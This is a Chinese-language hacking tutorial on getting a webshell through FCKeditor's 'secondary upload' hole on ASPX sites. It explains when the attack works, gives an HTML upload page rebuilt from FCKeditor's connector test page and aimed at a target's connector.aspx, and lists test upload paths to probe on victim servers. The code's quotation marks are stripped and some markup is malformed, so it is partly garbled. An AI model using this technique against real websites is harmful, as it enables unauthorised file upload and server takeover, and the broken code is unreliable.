FCKeditor二次上传拿shell算是FCKeditor漏洞集中比较经典的了，这个二次上传前提条件是要支持aspx而且要求FckEditor/editor/filemanager/connectors/aspx/connector.aspx文件为删除。二次上传漏洞对ASPX站点来说利用比较方便，成功率也比较高，当然若是ASP的站点，支持ASPX和文件为删的情况下也是没问题的。
在利用二次上传过程中我们往往都是找到FckEditor中的一些test上传页面来进行上传，不过也有遇到test上传页面全部被删除的情况，之前我便遇见过许多，不过在遇到test上传页面被删除的情况下我们可以本地构造上传页谈后提交，前提要确认FckEditor/editor/filemanager/connectors/aspx/connector.aspx文件存在，并且服务器支持ASPX的解析。
利用代码：
<!--
* FCKeditor - The text editor for Internet - http://www.fckeditor.net
* Copyright (C) 2003-2007 Frederico Caldeira Knabben
*
* == BEGIN LICENSE ==
*
* Licensed under the terms of any of the following licenses at your
* choice:
*
* - GNU General Public License Version 2 or later (the "GPL")
* http://www.gnu.org/licenses/gpl.html
*
* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
* http://www.gnu.org/licenses/lgpl.html
*
* - Mozilla Public License Version 1.1 or later (the "MPL")
* http://www.mozilla.org/MPL/MPL-1.1.html
*
* == END LICENSE ==
*
* Test page for the File Browser connectors.
-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>FCKeditor - Connectors Tests</title>
<script type="text/javascript">
function BuildBaseUrl( command )
{
var sUrl =
document.getElementById(cmbConnector).value +
?Command= + command +
&Type= + document.getElementById(cmbType).value +
&CurrentFolder= + encodeURIComponent(document.getElementById(txtFolder).value) ;
return sUrl ;
}
function SetFrameUrl( url )
{
document.getElementById(eRunningFrame).src = url ;
document.getElementById(eUrl).innerHTML = url ;
}
function GetFolders()
{
SetFrameUrl( BuildBaseUrl( GetFolders ) ) ;
return false ;
}
function GetFoldersAndFiles()
{
SetFrameUrl( BuildBaseUrl( GetFoldersAndFiles ) ) ;
return false ;
}
function CreateFolder()
{
var sFolder = prompt( Type the folder name:, Test Folder ) ;
if ( ! sFolder )
return false ;
var sUrl = BuildBaseUrl( CreateFolder ) ;
sUrl += &NewFolderName= + encodeURIComponent( sFolder ) ;
SetFrameUrl( sUrl ) ;
return false ;
}
function OnUploadCompleted( errorNumber, fileName )
{
switch ( errorNumber )
{
case 0 :
alert( File uploaded with no errors ) ;
break ;
case 201 :
GetFoldersAndFiles() ;
alert( A file with the same name is already available. The uploaded file has been renamed to " + fileName + " ) ;
break ;
case 202 :
alert( Invalid file ) ;
break ;
default :
alert( Error on file upload. Error number: + errorNumber ) ;
break ;
}
}
this.frames.frmUpload = this ;
function SetAction()
{
var sUrl = BuildBaseUrl( FileUpload ) ;
document.getElementById(eUrl).innerHTML = sUrl ;
document.getElementById(frmUpload).action = sUrl ;
}
</script>
</head>
<body>
<table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0">
<tr>
<td>
<table cellspacing="0" cellpadding="0" border="0">
<tr>
<td>
Connector:<br />
<select id="cmbConnector" name="cmbConnector">
<option value="asp/connector.asp" selected="selected">ASP</option>
<option value="ASP.Nethttp://www.xxx.com/FckEditor/editor/filemanager/connectors/aspx/connector.aspx">ASP.Net</option>
<option value="cfm/connector.cfm">ColdFusion</option>
<option value="lasso/connector.lasso">Lasso</option>
<option value="perl/connector.cgi">Perl</option>
<option value="php/connector.php">PHP</option>
<option value="py/connector.py">Python</option>
</select>
</td>
<td>
</td>
<td>
Current Folder<br />
<input id="txtFolder" type="text" value="/" name="txtFolder" /></td>
<td>
</td>
<td>
Resource Type<br />
<select id="cmbType" name="cmbType">
<option value="File" selected="selected">File</option>
<option value="Image">Image</option>
<option value="Flash">Flash</option>
<option value="Media">Media</option>
<option value="Invalid">Invalid Type (for testing)</option>
</select>
</td>
</tr>
</table>
<br />
<table cellspacing="0" cellpadding="0" border="0">
<tr>
<td valign="top">
<a href="#" onclick="GetFolders();">Get Folders</a></td>
<td>
</td>
<td valign="top">
<a href="#" onclick="GetFoldersAndFiles();">Get Folders and Files</a></td>
<td>
</td>
<td valign="top">
<a href="#" onclick="CreateFolder();">Create Folder</a></td>
<td>
</td>
<td valign="top">
<form id="frmUpload" action="" target="eRunningFrame" method="post" enctype="multipart/form-data">
File Upload<br />
<input id="txtFileUpload" type="file" name="NewFile" />
<input type="submit" value="Upload" onclick="SetAction();" />
</form>
</td>
</tr>
</table>
<br />
URL: <span id="eUrl"></span>
</td>
</tr>
<tr>
<td height="100%" valign="top">
<iframe id="eRunningFrame" src="javascript:void(0)" name="eRunningFrame" width="100%"
height="100%"></iframe>
</td>
</tr>
</table>
</body>
</html>
<option value="aspx/connector.aspx">ASP.Nethttp://www.xxx.com/FckEditor/editor/filemanager/connectors/aspx/connector.aspx">ASP.Net</option>既是ASXP的上传执行路径，asp和php的也同理，需要时请自行补充！！
FCKeditor 中test 文件的上传地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
